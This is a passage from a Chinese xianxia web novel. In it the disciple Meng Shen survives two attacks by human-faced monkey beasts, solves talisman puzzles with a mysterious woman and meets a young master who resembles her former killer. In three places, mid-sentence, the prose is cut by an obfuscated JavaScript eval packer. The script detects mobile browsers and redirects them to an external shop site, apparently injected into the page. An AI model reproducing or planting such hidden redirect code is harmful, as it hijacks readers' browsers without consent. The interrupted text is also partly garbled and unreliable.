“别费那个事了,”严谷岚一把勾住了她的肩膀,“里面的传送阵指不定会把你传到什么地方,以防万一,我带你一起走吧,顺便看看筑基期的区域有没有人面猴。” 人面猴最低也是金丹期的,她这个筑基一级的实力碰上了确实危险,因此孟莘从善如流地答应了。 严谷岚用白鹤载着孟莘飞向了魔兽森林。 孟莘终于还是没忍住好奇:“师姐,人面猴是你培育的?” “嗯!”谈到自己的杰作,严谷岚的语末像是扬起了一把得意的小钩子。 “那你是怎么想到这种,”孟莘斟酌了一下措辞,“独特的创意的?” “是吧,你也觉得人面猴真的很有创意对吧?” 严谷岚脸上充满孟莘难以苟同的愉悦,“那是前年的事情了,我刚刚突破元婴,在西境游学,偶然在山间撞到有人交战,其中一人虽然不敌对方,但是忽然满头白发像活过来一样,带着那人如猿猴般越过山涧,成功躲过了追杀。” 孟莘想象了一下那个画面,觉得颇为魔幻。 但严谷岚显然不那么想,她憧憬地说:“从那天起,我就决定我一定要造出那样的魔兽。” 孟莘从另一个角度理解了严谷岚,“师姐你真的很喜欢做兽修啊。” 所以才毫不留恋地拒绝第一峰的吗?就像她拒绝了第二峰一样。 严谷岚摸了一把她的小白鹤,感觉焦躁都被抚平了一些,“世界上最幸福的事情就是和各种灵宠呆在一起,不然修炼还有什么意思?” 孟莘给她比了个大拇指,“师姐说得好。” 两人转眼抵达筑基期区域上空,严谷岚盘旋着转了一圈,把孟莘放了下去,“这附近没有人面猴,你就在这里狩猎吧,等我查完就来接你,有事传音给我。” “好嘞师姐。”孟莘送别严谷岚,掏出了自己的玄铁锤。 她还不太习惯这种武器,不过既然之后炼器时需要用,她现在就必须习惯。 她盯住了前方的霜晶狮,舞炎步催动,火灵力覆上玄铁锤,提步冲了上去。 …… 半个时辰后,孟莘气喘吁吁地收起了第三块魔晶。 这里的魔兽要比内门考核时碰到的凶性更大,她虽然逐渐掌握了舞炎步,但是战斗并不轻松。 清晨落下的烧伤在剧烈的动作中又破裂开来,血迹从她绑好的绷带上渗出。 但孟莘不是很在意,她服过了疗伤丹,能作用好几个时辰,这时候受点小伤转头就能治好。 她甚至蠢蠢欲动地惦记起了《百炼经》第二式,化骨炎熔。 如果韩晓蝶知道她妄图一天之内学会百炼经前两式,一定会想掀开她的脑壳看看她是哪来的胆子,但这对师徒纯放养,那就没有人能指出她的不对。 孟莘沉入识海,试探着运行起来了化骨炎熔。 舞炎步教她提炼出火,而化骨炎熔则是教她把火凝练得宛如滚烫岩浆,如此才可以将任何材质的材料炼化提纯。 她才运转了没一会儿,滚烫灵力便又烧到了她的皮肤,比学舞炎步时更甚,疼得她嘶嘶直叫。 “我错了我错了!这不是我现在能掌握的东西!”孟莘后悔地直呲牙,连忙掏绷带堵伤口,但溢出的血液依然顺着她抬起的胳膊滑落。 “啪——” 一滴血落在土地,并不比一滴雨落在湖面更响亮。 孟莘耳朵轻轻一动。 她听到的并不是血液坠落的声音,而是无端降临的风声。 强烈的危机感促使她在大脑做出反应前,身体便往前一扑。 厉风从她腰际刮过,狠狠砸进木头缝里,随即她听到树干崩裂的声音。 来不及回头看,她已经顺着前扑的动作狂奔起来,抓起传音玉牌便大喊:“师姐救命!!!” 跑、一刻也不敢停地跑,筑基一级的全部灵力毫不惋惜地使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151360|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,身上带着的神行符一张接一张地往身上贴。 她丝毫不怀疑,只要她敢慢上一下,身后那根拦腰斩断的树就是她的下场。 人只有在可能战胜对方的时候才有资格拼命,其他时候,逃跑才是唯一的活路。 不,逃跑甚至是一种奢望。 根根分明的银丝不知何时已经越过了她的头顶,像一张遮天巨网,蓦然朝她笼下! 这一刻孟莘终于理解了严谷岚在西境乍见这种场面时的心境,以最绝望的方式。 “舞炎步!” 玄铁锤挥舞着火灵力砸向铺天盖地的银丝,但那微薄的火灵力甚至无法点燃它们,玄铁锤被银丝缠住脱手,只剩下她一手无法抵抗的酸麻。 “化骨炎熔!”她拼上了她能赌的最后招式。 命运在这一刻垂青了她,化骨炎熔没有烧到她的皮肤。顺着她的手掌,灼热火龙激射而出,触及到的银丝立刻收了回去。 有用! 孟莘眼中诞生希冀,但下一瞬,火龙哑火了。 命运确实垂青了她,但只垂青了她一刻。 银丝以更狂暴的速度朝她飞来,快到她甚至来不及拥有走马灯,她下意识闭上了眼睛。 “诸兽定神!给我停下!” 一声宛如救命稻草的熟悉厉喝降临,万千银丝在她咫尺之遥僵住,孟莘惊悚地睁开眼睛,亲眼看着这些银丝仿佛不甘心似的抖动起来。 “役灵经第八式,玄阴诛魔!”严谷岚怒到极点的声音远远传来。 阴冷气息铺天盖地而来,孟莘眼睛无法捕捉,只看到银丝瞬息之间碎落成灰。 在重新恢复的视线里,孟莘望见严谷岚从白鹤上一跃而下,仓惶伸手,一把抱住了她。 “对不起师妹对不起,吓坏你了吧。” 孟莘目光僵硬地越过严谷岚的肩膀,看到了远处倒在地上、碎成尸块的人面猴。 终于迟钝地意识到,她刚从怎样的险境里活了下来。 她心有余悸地回抱严谷岚,“师姐,吓死我了!” 能说出话了,那就是没事了。 严谷岚松开她,确认她没事以后,招手把白鹤叫了下来,拉着孟莘坐上去。 严谷岚神情是从未有过的焦急和严肃,抬手就拿起传音玉牌:“赵师兄,麻烦立刻通知所有弟子,魔兽森林有魔兽越过了区域阵法四处流窜,所有弟子即刻撤出魔兽森林,否则有性命之忧!” 连着传了数道命令,严谷岚这才有空转头看向孟莘,把一瓶丹药塞她手里,“抱歉师妹,让你经受了这种惊吓,我这就送你出去,但是现在情况危急,我来不及陪你去药阁了,你回去好好休息,等我处理完再找你。” 孟莘完全明白,既然有人面猴流窜了出来,那她刚才所遇险境这时完全会在别人身上重现,“我明白,师姐,你赶快去吧。” 白鹤一落到森林外,孟莘就立刻跳了下来,连道别的空隙都没有,严谷岚已经重新冲进魔兽森林。 眨眼间,天空上已经只能看到一个模糊黑点。 孟莘胸腔里激烈的心跳到此刻还未恢复正常。 她知道,沧溟派要出大事了。 41. 人面猴(三) 孟莘眼见整个兑换处的人都像热锅上的蚂蚁一样焦头烂额,便没再进去,把自己拿到的三块魔晶塞回了芥子囊。 这钱是赚不了了,她一身的伤口也委实疼痛,干脆回洗尘轩休息,在路上给彭笑寒和许子墨传音。 “魔兽森林出了问题,有金丹和元婴期的魔兽跑到了别的区域,在第七峰通知前,你们记得离魔兽森林远一点。” 也不知道许子墨是在干嘛,立刻咋咋呼呼地传音过来,“我去,真的吗?你怎么知道?” “我刚才、亲身、面对面的那种,在森林碰到了一头,要不是严师姐,我恐怕已经死了,消息可能还没传到其他峰,总之你们两小心。” 彭笑寒刚打开传音玉牌,听到她的话倒吸一口凉气,“你没事吧?” 孟莘垂头看着自己握着的一瓶丹药,哭笑不得,“没什么大事,还得了严师姐给的一瓶疗伤丹。” 彭笑寒疑惑地问:“你去魔兽森林干嘛?” 毕竟他们昨天才从魔兽森林出来。 孟莘幽幽叹一口气,“器修、缺钱。” 许子墨插进来:“说来也巧,我修炼需要用到魔兽的血,这会正在去魔兽森林的路上。现在只能打道回府了,晚上去醉月长廊看看能不能买到吧。” “我师傅安排我到主峰的演武场训练,这里所有峰的人都能进来,和不同的修士对练提升很大,有空你们两可以过来试试。”彭笑寒给他们推荐道。 离开外门以后,他们三人之前的夜间对练自然进行不下去了,也确实缺少一个提升战斗技巧的地方。 “好,有空就去。”孟莘应下来。 三人又聊了一会彼此境况,便都去忙各自的事情了。 孟莘也回到了洗尘轩九十七号。 她一身的伤已经糟乱不堪,忍着疼清洗了一下,浴桶里的水便染成了红色。 她换了身衣服,把水倒掉,简单吃了点东西,然后就躺倒在了床上。 虽然才刚过正午,但她这个早上过得实在是太跌宕起伏了,一沾枕头就立刻陷入了沉沉的黑梦,疗伤丹在她身体里紧锣密鼓地修补着她的伤痕。 不知过了多久,她被窸窸窣窣的雨声从梦中唤醒。 带着睡饱了的满足感,她舒服地睁开眼睛。天色已经黑透,雨声细密依旧。 雨天果然是最好睡的天气,她想。 不过什么雨声是窸窸窣窣的? 浅浅的疑惑像一柄钢刀瞬间刺破苏醒时的混沌,她脑子猛然清明。 那股窸窸窣窣的声音并不是从屋顶的瓦片传来,而是来自地下! 在感受到不安的刹那,她纵身跃起,火焰同时从手心涌出向下扔去。 “砰!” 她的床被捣成碎片,火焰没有灼伤袭来的敌人,但亮光让她看清了那密密麻麻的银丝,沿着窗棂缝隙伸进来。 这东西她再熟悉不过了。 “人面猴!” 她头皮发麻,旋即一拧身奔出门外,大喊救命。 洗尘轩和魔兽森林不一样,这里弟子众多,连陈鸿畅也住在这里,只要她多坚持一会就能得救。 但人面猴不给她这个机会。 眼见悄悄设下的伏击没能成功,还被猎物逃了出去,人面猴毫不犹豫地驱使银丝攻了过来。 孟莘看到视线尽头已经出现了人影,但距离她还有一里之遥,来不及了! 她必须拖住人面猴,哪怕只是一息,都能让她有活下来的机会。 孟莘目光一凝。 “化骨炎熔!”她毫不犹豫地催动了百炼经第二式。 这是她唯一能抵抗人面猴的底牌,点着自己也无所谓,只要能短暂地挡住人面猴! 生死之间,绷到极限的神经以前所未有的集中力运转起来。 汹涌灵力瞬间从她识海爆发而出。 * 陈鸿畅修炼完毕,正准备入睡,突然听到远处传来一声巨响。 他抓着被子的手蓦然一顿,这是哪个小兔崽子又在洗尘轩炼器了?!! 当他们第十峰很有钱可以随便烧房子的吗! 陈鸿畅怒气冲冲就要去教训人,结果刚推开门,就听见一声急促的救命。 声音他还很熟,就是今天刚见到的小师妹。 陈鸿畅不敢耽误,足尖点地,朝声音源头掠过去。 距离小师妹还有一里之遥,他看到铺天盖地的银丝朝小师妹暴射而去。 他瞳孔骤然紧缩,携着凝练灵力的佩剑立刻向那个方向扔去。 他脚下的速度已经提到了极致,但是他却知道,来不及!银丝离小师妹太近了,他无论如何也来不及! 他甚至可能来不及给小师妹保下全尸! 陈鸿畅从未像今天这般懊悔自己修为低微,平生第一次看到这样惨烈的死状,竟然就是自己的小师妹。 然而这懊恼刚在心底浮现,一声熟悉的暴喝便于前方响起。 “化骨炎熔!” 猝然燃起于她身周的滚烫岩浆逼得银丝前进不得,他的佩剑紧接着赶到,一剑将银丝拦腰斩断! 陈鸿畅晚一步飞抵孟莘近旁,人面猴见势不妙立刻开溜,陈鸿畅抓住佩剑,冷着脸飞身而上。 “我第十峰什么时候是你这种畜生想来就来想走就走的地方了!” “让你尝尝什么是真正的化骨炎熔!” 陈鸿畅元婴境的灵力裹挟在剑身,足有两丈高的火焰倏然窜起,伴着可怖威压,宛如判官般一剑斩落。 人面猴骨骼并着血肉被斩成两段,火焰灼烧着它的每一根神经,在濒死前发出了与人声一般无二的惊声惨叫,“啊啊啊啊啊——” 这画面真的太瘆人了,数个闻声赶来的弟子都不忍直视地闭上了眼睛。 陈鸿畅面无表情地看着人面猴彻底断气,走回孟莘身边,端详她片刻,确认她身上没受什么伤,夸了她一句,“关键时机顿悟化骨炎熔,做得好。” 和陈鸿畅方才的化骨炎熔相比,孟莘情急之下用出的跟闹着玩似的,她讪讪一笑,“让师兄见笑了。” 陈鸿畅安抚地拍了拍小师妹的头,紧接着打开传音玉牌,立刻变了一张脸,“严谷岚,你管不好魔兽森林这个第七峰大弟子就别当了!” 那头的严谷岚:“?” 这两天怎么每天都有人跟她说这种话? 她焦头烂额地忙了一下午,好不容易确保所有弟子都撤出了魔兽森林,连口水都没顾上喝,就听见陈鸿畅对她兴师问罪。 鉴于她了解陈鸿畅一直秉性平实,所以预感非常不妙地吞了一下口水,“陈师兄……是出什么事了吗?” 陈鸿畅冷笑:“你新搞出的那个人面猴,刚刚钻到了我第十峰的洗尘轩,差点害死了一名弟子,你说呢?” 严谷岚:“!!!” “陈师兄稍等,我立刻过来!” * 第一次碰到这种事还会心惊胆战,接连碰到第二次时,人就习惯了。 孟莘这个当事人和一群看热闹的第十峰同门干脆就在外面坐了下来,眼巴巴地等着严谷岚过来。 不到一刻钟,熟悉的白鹤就飞到了十峰上空。 严谷岚一眼就看到地上那个还冒着火星子的东西就是人面猴,险些眼前一黑。 这玩意在魔兽森林乱窜就够可怕的了,窜到了魔兽森林外面,那可真是杀了她她都扛不住了。 严谷岚掏出了一粒护心丹咽下去,这才跳下白鹤,径自过去检查人面猴的尸体。 这只人面猴也是金丹境修为,被烧黑的遗体里隐约也能看到黑色絮状物体。 她拍了拍双颊,硬着头皮走向陈鸿畅,“陈师兄,那位遇到袭击的弟子在哪?我了解一下当时的情况。” 陈鸿畅寒着脸把孟莘推到她面前。 严谷岚:“???” 孟莘苦笑,她从严谷岚的表情中看到了明晃晃的一行字:怎么又是你? “没错,严师姐,我从魔兽森林回来以后,睡了一觉,被一阵窸窸窣窣的声音吵醒,结果发现又是人面猴……还好师兄及时赶到。” 陈鸿畅的表情更加凝滞了,“你甚至不是第一次碰到这玩意了?” 孟莘连忙解释,“魔兽森林碰到的,当时是严师姐救的我。” 这句话显然并没能挽回严谷岚的形象,陈鸿畅冷笑:“第七峰惹出的麻烦,她不管谁管?” 严谷岚觉得护心丹都快救不了她了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162687|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她连忙又吞了一粒,深吸了一口气,“陈师兄,等我这边查明事件经过,一定请掌门秉公处理,不管什么罚我都认。师妹,你的房间在哪里,带我去看看。” “没错师兄,我先带严师姐去调查一下,”孟莘连忙带着严谷岚往她的住处走,确认陈鸿畅听不见了,立刻安慰:“师姐别放在心上,大师兄只是有点着急而已,他不是有意的。” 严谷岚捂住脸,“他生气是应该的,让师妹你碰到这种事,我真的没法原谅我自己。” 孟莘有点奇怪,一下午过去了,魔兽森林恐怕不止一个人出事,怎么严谷岚好像很在意她这边似的,“没事的师姐,反正我也没受伤,魔兽森林其他人伤得严重吗?” “没有啊,”严谷岚放下手,说到这里,脸上也露出疑惑神色,“魔兽森林所有弟子都已经全部撤出了,没有人受伤。” “啊?”孟莘见鬼似的看向她,“难道只有三只人面猴跑出了区域阵法,正巧被我们碰上了?” “那倒不是,我们仔细查问过了,其他人也碰到过,只不过碰到的人很少,而且他们都说人面猴动作迟钝、反应巨慢,非常好杀,所以都没出事。” 就像那几个剑锋弟子一样,孟莘心里忽然掠过这个想法。 他们都是通会期修为,碰到金丹期人面猴,出了剑一回头就看到人面猴死了,和严谷岚的描述相符。 但她碰到的好像不是那么回事,固然她筑基一级和通会期弟子差距显著,但是那两只人面猴的速度,显然是称不上“动作迟钝、反应巨慢”的。 孟莘若有所思地垂下眼睑。 “师妹,你的运气好像真的很糟糕,”严谷岚一言难尽,“厉害的人面猴全被你碰到了。” 孟莘:“……确实。” 走到了她的九十七号屋子,她指给严谷岚看,“当时人面猴的头发是从窗缝里钻进来的。” 严谷岚先检查了孟莘碎成渣的床,接着推开窗,果然发现细密的割痕。 她看向窗外,孟莘的外窗正对山林,和魔兽森林算得上近。 难道是借着山林掩映,从魔兽森林逃了出来吗? 检查完,严谷岚跟陈鸿畅打商量,“陈师兄,在事情没调查清楚前,弟子们最好不要在洗尘轩住了,你跟我去山林里搜查一下怎么样?” 陈鸿畅虽然生气,但也知道事情得一步步来,便答应下来,转头交代所有弟子,“这段时间辛苦大家一下,去炼器室将就吧,元婴境以下的人不要随便靠近魔兽森林和其他树林。” “是,师兄!” 严谷岚又通知了其他峰的大弟子,便和陈鸿畅一起进山林搜查了。 * 等孟莘在炼器室收拾完毕坐下,已经是丑时了,她没忘了提醒自己的两位小伙伴。 彭笑寒那头也刚刚安顿下来:“我们这边好像不怎么紧张。” 孟莘啊了一声,“应该是碰到的人面猴不强吧,你是没看到我大师兄的表情。” “魔兽森林的兽潮、很强的人面猴,怎么倒霉的事情全被你碰上了?”许子墨在那头啧啧道。 孟莘心想她身上倒霉的事情可多着呢,“大概是天将降大任于斯人也吧。” 许子墨无语:“你是懂自我安慰的。” “不过现在有点麻烦,短期内魔兽森林去不了,我该怎么买材料呢?” 彭笑寒出主意:“我听有的前辈说,兑换处的委托灵石挺多的,你可以试试。” 孟莘出不了沧溟,她怀疑自己接不到什么委托。 “再不济去卖神行符嘛,”许子墨撺掇她:“抢抢符修的生意。” 一张神行符一百灵石,她现在的灵力很有限,一天也画不了几张。 孟莘叹了口气,感觉自己的路被堵得很死,“我明天去看看吧,船到桥头自然直。” 结束了传音,孟莘准备先拿普通的铁石练练手。 玉牌刚在桌上搁下,一道来自陌生人的传音就发了过来。 她随手打开。 一道温润的女声响起。 “冒昧打扰,紫竹林的符文是您所留吗?” 孟莘瞳孔一凝,是那位高人终于联系了她,还是偶然捡到那页符纸的其他人? 42. 人面猴(四) 孟莘从对方语气中的不确定,怀疑对方并不知晓她的真实身份。 她略一思索,掏出一张变声符,将自己的声音伪装成一个浑厚的男声,“你看到了我留下的讯点?” 女人在那头微顿,似乎是感受到了她的怀疑,温声解释道:“紫竹林两次符文,都是我所留。” 孟莘沉默,等着对方继续解释。 在漫长的无言中,女人在那头无奈地一笑,“东十七宫、十三宫、南三十二宫、十八宫、四十七宫、北五宫……” 孟莘一开始并没搞懂她在说什么,但随着女人泉水一样清冽的声音,一道符法逐渐在孟莘识海中构筑出来,在女人说完最后一句时,孟莘已经相信了她的身份。 这道符法同紫竹林那道的风格如出一撤,应当是来源于同一张阵法中的碎片。 “幸会,”孟莘试探问道,“敢问姑娘贵姓?” 此人一开口便用“您”字这种尊称,对她直呼“你”并无反感,这时她用“姑娘”这种称谓询问姓名,便是完全将对方视为平辈。如果这人在紫竹林真的看到了她的身份样貌,那委实没必要对她这个末流弟子这么客气。 “免贵姓申。”女人在那头平静地回答。 莘?孟莘心里差点炸开。 好在对方很快补充,“申诉的那个申。” 孟莘捏着玉牌的手又松了下来。 对面又问:“我该如何称呼公子?” 连对她这个男声都没有别的反应,孟莘终于有点相信了,这位高人只是以她所不知道的方式看到了她留在树叶上的符文,而不是目睹了她在紫竹林的所有动作。 孟莘想了下,回答:“我姓辛,辛苦的辛。” 申姑娘从善如流地唤道:“辛公子。” 既然对方没有识破她的底细,孟莘心情立刻振奋起来,“敢问申姑娘,这两道符文,是你亲手设计的吗?” 申姑娘沉默了好半晌,方才回答,声音里透着一种奇怪的诡异,“只是游历中偶然所得,并非私有,若是辛公子有意,我可以将整张阵法以宫位讲给你听。” 孟莘头皮发麻,万万想不到这位申姑娘如此慷慨。这张阵法连漏出的一两道符文都让她觉得艰深非常,若是听完全部,只怕她会直接爆体而亡。 她斟酌措辞婉拒:“这就不必了,姑娘有幸能得到这种阵法,是姑娘的机缘,我怎好意思无故受此恩惠,姑娘若是研究符法时愿意同我探讨一二,便是成全我的好奇了。” 申姑娘在玉牌对面一声浅笑,像月下荡漾的水波,真是好听极了,“那就请辛公子赐教了,我先前所描述的符文,该做何解?” 原本符文就是孟莘极爱的,现在与她探讨的人又是她欣赏已久的高人,况且高人的声音又如此悦耳动听,孟莘从来到这个世界起,很少有这样心情舒畅的时刻。 她拉开炼器室的窗棂,坐到窗边,一边欣赏月色,一边飞快思索那道符文的解法,不自觉地呢喃出来,“东十五宫,进南三十八宫、二十七宫……” 申姑娘安静倾听,一言不发,玉牌里只有她清浅的呼吸声。 孟莘思索得入神,今夜明悟极快,堪称势如破竹,一直破到一半,才停滞下来,久思之下,申姑娘忽然在那头插了一句,“西十六宫。” 孟莘恍然大悟,“不错,西十六宫!” 以宫位聊符法,仿佛下盲棋似的,她觉得很新鲜,而同人一起解符法、此人还能跟得上她的思路、别出心裁地看到她的盲区,对她来说更是第一次。 “申姑娘,你总是有这样令人拍案叫绝的妙笔,”对于自己欣赏的人,孟莘一向是不吝夸赞的。 至于当时被吓跑、连着半个月都不敢去紫竹林的事情,就不必再提了。 申姑娘微笑,“辛公子见笑,你在符法上的造诣,才真是让我受益匪浅。” 两人你一言我一语的合力之下,至辰时天光大亮,已连破四道符文,可谓一气呵成。 孟莘遥望着远处初升的太阳,大脑一整夜都在疯狂运转,但丝毫没觉得疲惫,反而恋恋不舍地同她告别,“申姑娘,我这边有事要忙,下次再来找你。” 申姑娘笑了笑,“好,我是个闲人,随时恭候。” 孟莘收回玉牌,简单洗漱过后,便出发前往兑换处。 兑换处的人显然跟她一样一夜未眠,区别是她昨天下午睡饱了,而他们纯属生熬,到这会儿仍为了人面猴的事情不得解脱,一个个都宛如行尸走肉。 孟莘把三块魔晶换了贡献点,但因为魔兽只是筑基期,所以只换到了九百点,而她打造最低等的黄阶武器需要的玄铁石,一小块就得两千点。 孟莘再次感受到了自己的贫穷。 她默默去看大厅里张贴的委托。 委托倒也不少,但价格高的普遍都需要金丹元婴的修为,要么就是需要出个远门。 筛选到筑基期能接的、不离开沧溟的,就只有寥寥无几的几张。 比如去帮第七峰给魔兽刷毛、接生,比如去帮第八峰的丹修给药田锄草,费时费力,忙活半天也只有五十灵石。 这确实不如她去写几张神行符卖掉。 孟莘都准备走了,却看到了被压在好几页纸下面的泛黄的一张,末尾写着两百灵石及以上? 及以上是个什么说法,还能讲价? 她立刻伸手拨开,见到那个委托写得非常简单,只需要帮委托人点星阵,一张星阵两百灵石,修为不限,多劳多得。 既然修为不限,想必应该不难,孟莘立刻心动,但它都在这里放黄了,恐怕有点别的内情,孟莘以防万一跟值守的弟子打听,“师姐,点星阵是很危险的事情吗?怎么这张委托都没有人揭?” 师姐瞥了一眼,打了个哈欠,“那倒不是,主要是委托人很招人讨厌,大家约定俗成,都不理他。” 孟莘:“……讨厌?” “对,客院那位鉴天楼的少楼主,也不知道他放着自己好好的鉴天楼不待,在我们这里都逗留快一年了还不走,究竟是图什么?必须让他知道我们沧溟派不是好惹的!”师姐说话时充满一种沧溟弟子一致对外的同仇敌忾。 “咔。” 师姐眼睁睁看着这个陌生师妹毫不犹豫地把委托揭了下来。 孟莘把委托揣进芥子囊,义正言辞道:“不错,师姐,我们一定要让他知道我们沧溟派不好惹,所以我亲自去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174229|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这个少楼主究竟想干嘛,然后对症下药,务求早点把他赶出沧溟!” * 客院门外。 孟莘敲了敲门。 她进外门的第一天就想着要过来探访一番,现在真是瞌睡来了送枕头,时机正好。 没一会功夫,一张小纸人便从里面把门拉开,歪头看过来,“你是?” 虽然纸人没有眼睛,但孟莘确认它确实在看她,她把发黄的纸页递过去,“我是来做这个委托的。” 纸人接过那一页,惊叹:“这页委托还在啊?” 孟莘警惕地看过去,不会是年代久远不想认账了吧,她友好地提醒:“委托就挂在兑换处的墙上,我已经登记在册了。” 小纸人挠了挠自己并不存在的后脑,转身向院里飘去,“跟我来,我带你去见公子,这件事只有公子能做主。” 孟莘跟了上去。 院子简朴,他们住了大半年,却好像一样多余的事物都没有添置,说这儿无人居住她也是信的。 听起来鉴天楼这么高高在上,在沧溟派惹人厌烦的样子也挺高调,但这个少楼主本人却是个不喜铺张的人吗? “见到你家公子,我该怎么称呼?少楼主?” 小纸人瞅了她一下,“我家公子姓沈,年纪比你大些,已过了弱冠之年。五境同气连枝,你可以叫沈师兄,别叫少楼主,在鉴天楼外面的时候他不喜欢这个称呼。” 孟莘无所谓地应下:“好的。” 小纸人领着她到了后院一间佛堂,它主动上去敲门。 “公子,有个小弟子到了,她揭下了咱们刚来时发的那张委托。” 佛堂里面沉默片刻,随即传来一声无奈的轻叹:“那页委托竟然还在?” 他的音色非常好听,像泉水一样明晰干净。 但是孟莘突然很不舒服地揉了下脖子,这个声音实在有点太像……那个人了,不过那个人是不会用这种语气说话的。 沈修然静了静,才说:“这位师妹,时过境迁,这页委托已经对我无用了,让师妹白跑一趟,也是我的过错,就按一张星阵的价格当做委托了结吧。阿喆,带这位师妹去取灵石。” 阿喆显然是纸人的名字,它哎了一声,就过来领孟莘。 孟莘没动,她来都来了,见他本人也是目的之一,当然不会就这么回去,还是那句话:“我已经登记在册了,无功不受禄,没有白得两百灵石的道理。” “……是我冒昧了,”沈修然并没有太抗拒地就接受了,“师妹请进。” 孟莘推开佛堂大门。 这间佛堂的后墙竟是镂空的,日光穿过墙壁镂空,衬得石像仿若有佛光千丈。 青年身穿素净白衣在佛像前的蒲团上打坐,一道白色缎带遮住双目,缎带末端和长发一同垂到腰间。 微尘在纤毫毕现的光束中飞舞转动,他提拔的鼻峰和下颌线条干脆凌厉,即便是皮肤暗含着一丝病弱苍白,也当得起一句面如冠玉。 然而这宛如工笔画的好风景,却让孟莘身体里的血液一点点凉透下去。 这个鉴天楼少楼主…… 怎么会和杀了她的殷如是长得一模一样? 43. 人面猴(五) 沈修然静待片刻,孟莘却一言不发,也并不走近,他疑惑地抬头:“师妹?” 孟莘钉在原地,死死地盯着他那张脸,熟悉的声音和一般无二的脸庞,她绝不会认错。 当日被一枪爆头的恐怖记忆不由自主地浮上心头,她的呼吸越来越急促,短刀下意识从袖口滑出紧贴住手心。 “你想杀我?” 蒲团上的青年忽然开口。 孟莘突然清醒。 这不是她原本的世界了,她是因死亡穿越到这里,但殷如是作为即将继承皇位的太子,总不会也出意外死了吧? 况且这是鉴天楼的少楼主,凭实力她恐怕很难赢得了他。就算她真能得手,得罪沧溟派和鉴天楼两大修真界名门,她这个筑基一级的修士等于自绝活路。 她重活一世,不是为了来给殷如是陪葬的,这不是她跟殷如是算账的时机。 她强行压下那股急不可遏的愤怒,收回短刀,开口时压低了一点声线,听起来和自己原本的声音略有不同。 “失礼了,我近来休息不好,一时恍惚,还请少楼主见谅。至于点星阵的事情,现在想来确实有些强人所难了,还是算了吧。” 对着这张脸,她完全无法平心静气,不如趁他蒙着眼睛没看到她的脸,以后再慢慢调查这人和殷如是的关系。 她说完,也不等那人回答,转身就走。 纸人阿喆不知所措地飘来飘去,“啊?你这就要走了?” 孟莘没有吭声,抬脚迈出佛堂门槛。 下一瞬,变故陡生! 金色丝线从她身体里钻出,缠绕着拦住了她的脚步,她立刻伸手去抓,却生生看到自己的手掌穿过丝线捞了个空,宛若碰到无形之物,偏偏这无形之物让她动弹不得。 她面色一沉,蓦然转身,看到丝线的另一端就连在沈修然身上,还有什么不明白? 她抿唇冷笑,“少楼主,买卖不成就不让人走,这不合适吧?” 沈修然淡淡一笑,手指一弹,那页枯黄委托从她身上飘出,泛着点点荧光,“师妹,在下并无恶意,不过如你所说,你已接下委托登记在册,既如此你我便有了因缘,这道因缘线因此结契,只要你完成委托,因缘了结,此线自然会断。” 孟莘眉心跳动着快压不住的戾气,“若我不想做呢?” 沈修然摊开手,做出一个请走的动作,“那师妹就离开吧。” 他分明知道她根本走不了! 孟莘紧紧盯着他那条蒙眼缎带,“为什么?堂堂少楼主,不会缺帮你点星阵的人吧?” 沈修然只回答:“恰好有缘罢了。” 孟莘知道她问不出任何答案了,她深吸一口气,伸头一刀,缩头也是一刀,还不如快点结束:“好,点星阵就点星阵,怎么点?” 沈修然悠悠道:“师妹莫急,在下还不知道师妹的名字呢?” 孟莘无论如何也不愿意,让一个长着殷如是脸的人知道她叫孟莘,遂垂下眼,回答:“我叫张三。” 金色丝线泛出微红光晕。 “……”沈修然凝滞,“师妹何必如此敷衍我?” 孟莘不太确定鉴天楼这种神棍究竟还有多少底牌,犹豫了一下,决定说个不算谎言的答案,“好吧,我叫梁如安。” 沈修然垂下头,笑了,“师妹又在说谎。” 孟莘蓦然抬头,对面的青年神情笃定,并非试探,而金色丝线仍旧是泛着红光的。 沈修然好心地解释:“师妹,人自出生起,姓名便同精魂密不可分,在鉴天楼的人面前,说谎可不高明。” 鉴天楼竟然神棍至此吗? 她妥协了:“我叫孟莘。” 因缘线重新恢复金黄光晕,她眸光一闪,立刻盯住沈修然,“你又叫什么名字?” 沈修然眉峰一挑,倒是第一次碰到这种反应过来借着因缘线来盘问他的。 不过他的姓名实在没什么可以隐瞒的,便据实说道:“沈修然,随孟师妹怎么叫,但还是不要叫我少楼主了吧。” 因缘线金黄依旧。 孟莘心情复杂地看着沈修然,如果因缘线能看破她这道魂并非梁如安,自然也能勘破对面这人是不是殷如是。 世上竟有长相如此相似的两个人吗? 当然,他本人就是施术者,也许能做什么手脚也不一定。 